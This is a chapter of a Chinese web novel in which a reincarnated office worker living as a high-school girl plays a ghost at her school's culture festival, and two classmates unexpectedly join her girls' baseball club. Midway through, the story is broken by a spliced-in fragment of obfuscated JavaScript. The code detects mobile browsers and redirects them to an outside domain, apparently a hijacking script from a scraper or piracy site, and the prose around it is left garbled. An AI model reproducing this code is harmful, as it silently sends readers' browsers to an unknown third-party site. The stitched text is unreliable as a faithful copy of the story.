五分钟后，关真夏提着半推半就结了账的新衣服，和天野一起站在服装店门外。 “老师，你刚才说的三浦那件事……”她本想问清楚。 天野突然啊一声，转身就走。 “我想起来了，那家卖cos服的店在负二楼来着。” 11. 幸福从天而降 室内光线昏暗，静谧得近乎诡异。阴森的凉风从衣摆下缘涌进去，沿脊椎一寸一寸往上爬，令人寒毛直立。 这时老旧的门响了，响声轻且凄厉。 “门”，或者说他本以为是门的地方，突然蹿出一道惨白的影子！ 满腹的内脏裸露在外，黑色长发如瀑布般垂下，只见那鬼影撩起遮挡住面容的发帘，咧开嘴角露出一个血红的微笑—— “啊——！” 天野发出一声大叫，倒退一步狠狠地撞上墙角。 那道鬼影一步步逼近，在他面前停下脚步。 随后“鬼影”一把将自己的脑袋揭了下来。 露出了头套下关真夏那张面无表情、生无可恋的脸。 “老师，”关真夏公事公办地开口，“体验完了就请出去吧，还有很多人在外面排队。” 随着教室里灯光亮起，鬼屋的其他工作人员也都一股脑围过来看天野守的笑话。 “哈哈哈太逊了吧天野！！”负责灯光的青木拍着大腿笑得前仰后合，完全忘记了自己该保持室内阴森氛围的任务。 遥奈也没闲着，举起相机对准惊魂未定的天野一顿狂摁快门，显然没放过他。 看门的坂本连门口堵塞的长队也不管了，笑得那叫一个猖狂：“怎么有人真会被吓到啊？！” 天野缓过神，完全没觉得丢脸，笑起来往那几个闹事的男生的后脑勺上一人拍一巴掌，毫不在意地理了理自己的衣角，“你们这群臭小子，鬼屋做得还挺逼真嘛！长发白衣女鬼我真不行，是我童年噩梦啊噩梦。” 被cue到的“长发白衣女鬼”关真夏一阵无语：“上一个幼儿园大班的来场客人都没被吓到，老师。” “说不定是那小孩天赋异禀呢，又不是我的问题！”天野守撇撇嘴，给自己找借口。 关真夏就静静地看着他胡闹。 看到天野守也排了半个多小时队来体验他们班的鬼屋时，说实话她有点震惊。文化祭这种本应是学生们自娱自乐的活动，居然真的会有老师参与，把关真夏将近30年的三观冲击得七零八碎。 不过嘛，一想到是天野守，一切都合理起来了。 “关同学你这女鬼演得真吓人，假期不会在游乐园的鬼屋打工吧？”天野看起来颇为佩服。 关真夏刚张嘴想说老师其实我是厉鬼转生，又怕这家伙真信以为真，为了他的心理健康着想，选择了闭嘴假笑着摇摇头说不是的老师。 甚至连出演女鬼这件事，都是被同学们——准确来说是掌握了民意的栗原遥奈强迫的。 “我觉得真夏这种冷冷的幽默最适合演最后的boss了！”遥奈那时双眼放光。 ……这种少女漫里的星星眼的对象搞错了吧？！ 将她课桌包围得水泄不通的众人也点头如捣蒜，压迫感十足，总让关真夏觉得自己如果不从了的话，可能会被抬着丢出窗外。 按照关真夏原本的计划来说，文化祭为期两天，因为第二天不得不去女子棒球部的摊位，第一天她打算能逃多远逃多远。早上来班级里露个脸，趁其他人去忙鬼屋企划时就开溜，自己一个人随便逛逛其他摊位就回家，尽量不和这里任何一段滚烫的青春扯上关系。 毕竟吸血鬼碰见阳光就会死的，关真夏在心里找补。 然而原本天衣无缝的计划彻底泡汤了——她想不明白自己到底是怎么穿上扮演服，配合同学们用拙劣的演技吓唬人的。 系统嘲讽她：“意志真不坚定，怎么就被一群小孩说服了。” 关真夏故作深沉：“你听说过中国有句老话吗？” 系统：“识时务者为俊杰吗？” 关真夏：“不是，是既来之则安之。” 这一安就是穿着厚重的女鬼服吓了一天的小孩，对于她这个极度缺乏运动量的社畜来说消耗极大，一回家就累得倒头就睡。 一夜无梦，那是对于总失眠的关真夏来说，不记得多少年来，睡眠质量最好的一晚。 时间不等社畜，第二天她又穿上了棒球番cos服，一脸苦大仇深地在天野和日向花身旁卷可丽饼。 “星高女子棒球部可丽饼，投出好球免单，坏球半价！”天野守举着招牌大声揽客，一副乐在其中的模样。 ……还真是童心未泯啊，面粉沾上关真夏的鼻尖，痒痒的，她抬手用袖口蹭一下。日向花被她的动静引得抬头，见状忍不住笑，递过去一张纸巾。 “怎么看起来这么不情愿？”日向花问。 “不觉得老师实在是用力过猛了吗，有点丢脸。”她忍不住吐露心声。 日向花歪了歪脑袋，不置可否，不难看出表面话不多文文静静的她其实也很享受人声鼎沸的文化祭。关真夏叹口气，果然是小孩啊小孩，这两个人都是。 刚想停下休息时，两个女生结伴走了过来。 “想要投球吗同学？”关真夏见到客户一般条件反射地挂上笑脸。 两人对视一眼，其中个子更高、看起来有一米七、扎着利落的高马尾的女生率先开口：“我叫涩谷桃子，她叫相川葵，我们想加入女子棒球部。” 天野捕捉到关键词，也放下手里的牌子回到帐篷下。 关真夏一时间没反应过来，视线在两个女生脸上来回扫，三脸疑惑。 她们说想加入女子棒球部？ 一次性来了两个人？ 她本来做好的、逐个上门攻破防线、漫长且艰难的女子棒球部招新计划，怎么就这样幸福地被扼杀在摇篮里了？ 日向花先一步回过神，急忙开口说：“当然可以，欢迎你们！” 天野也在一旁鼓掌，看起来很开心。 “那个……桃子同学和葵同学！”两人说着还想去其他地方逛一下刚要转身离开，关真夏急忙喊住她们，“可以问一下为什么决定加入我们部吗？” 相川葵短发齐肩，戴着眼镜，气质很内向，看起来完全不像和棒球有关系的样子。被关真夏这么一问，她往鼻梁上推一下眼镜，低下头笑了笑。 “我们一开始听说真夏同学创立了女子棒球部的时候，其实没想加入的。” “毕竟在男女比七比三的棒球弱校星高，女子棒球部什么的一定会夭折的吧，那时候我和桃子都是这样想的。” “周围的同学们的想法都跟我们一样，我们只是在心里想，但他们放在嘴边嘲笑得很大声。完全是异想天开、不知道真夏你在想什么、这样的书呆子学校怎么可能有喜欢棒球的女生，他们每天都在这样说。” “所以，怎么说，”相川葵抬起脸庞，“出于逆反心理吧？刚好桃子初中的时候有打过软式棒球，我爸爸是Eagle队宗山选手的粉丝，也算对棒球有了解，反而决定一定要加入女子棒球部了。” 涩谷桃子深以为然地点头，补充道：“一起打进甲子园让他们道歉吧！” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16560010|186920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >…… 怎么是…这样。 关真夏就下意识应声说好，但思考能力像被相川葵刚才那番话三振出局了。 明明她们和自己素不相识，居然会因为听不惯别人嘲讽自己的异想天开而打抱不平、从而决定入部。 不应该是自己先分析加入女子棒球部的好处和前景、保证不会影响她们正常学习、反而能运动锻炼身体，她们说“我回去思考一下”或者“和父母商讨一下”，一周后再给自己答复吗？ 预想中的欲言又止没出现，委婉或斩钉截铁的拒绝也没出现，简直像卯足了劲儿却一拳砸在了棉花上。 关真夏突然觉得，她好像把高中生想得太复杂了。 不对。 想得太简单了。 心脏深处某个地方抽动一下，有点痒。不止心脏，眼眶也是。 桃子和葵各买一份可丽饼后离开了，关真夏一直低着头，生怕眼泪掉出来。虽然是开心的眼泪，但她不想让其他人担心。 天野守低头瞥了眼关真夏，脑袋低垂，只露了个后脑勺在外面。他没说话，伸手本来想拍拍她肩，手在空中一顿，还是收了回来。他收起摊位的招牌，决定今天就营业到这里，不再给队长关真夏同学增加负担了。 不过，特意选了她喜欢的动漫的cos，本来以为这孩子会更开心的才对。 这时青木诚也和栗原遥奈跑过来，兴奋地邀请关真夏趁着剩下的时间一起去逛逛文化祭。 关真夏下意识回头看了天野守一眼，天野爽快地点点头，挥挥手顺便把日向花也遣散了出去。 四个人吵吵闹闹地走远，身高参差不齐，尚好的阳光便在地上拓下长长短短的影子。他看见关真夏的背影一点点伸展开来。 这个学期开学后明明相貌没很大变化，却总感觉有哪里不一样。不过不管怎么说都比高一那会儿让人放心多了啊，这孩子。 天野又想起高一时那件事。 那天关真夏班上的体育老师有事外出，学校就临时指派他去看一节体育课。下课后同学们一股脑回室内换下运动服，他却注意到唯独那个叫做关真夏的学生还在一个人对着操场角落的树发呆。 他走过去提醒，再不回去下节课要迟到了哦。 关真夏望着树，没什么表情，眼神很沉，肩膀也耷拉着。 书包挂件被班里的调皮男生抢走抛着玩，挂在树上取不下来了。是很喜欢的棒球动漫的周边，好不容易买到手的，她说。 天野觉得奇怪，爬上去拿下来不就好了吗？ 这棵树很矮，枝桠横生，就算是小学生也很容易爬上去才对。 关真夏转头，幽幽地看着他。 “我恐高，老师。双脚离开地面50厘米都受不了的那种。” 从那天起天野就对这个学生多上了一份心。 帮她取下挂件回到职员室后他找关真夏的担任老师了解了一下情况，才知道这孩子从初中开始就一个人住，父母离婚得早，双方都像踢皮球一样不愿意照顾关真夏，也都有了各自的家庭，关真夏一直是一个话很少的孩子。 所以高二开学那天，看见站在教学楼天台上的关真夏时，天野守的第一反应是她是不是想做什么傻事。 可还没等他跑上顶楼，关真夏就迎面从楼梯上走了下来，脸上的表情甚至可以说很开心。 她不是恐高得厉害吗？ 天野守挑挑眉。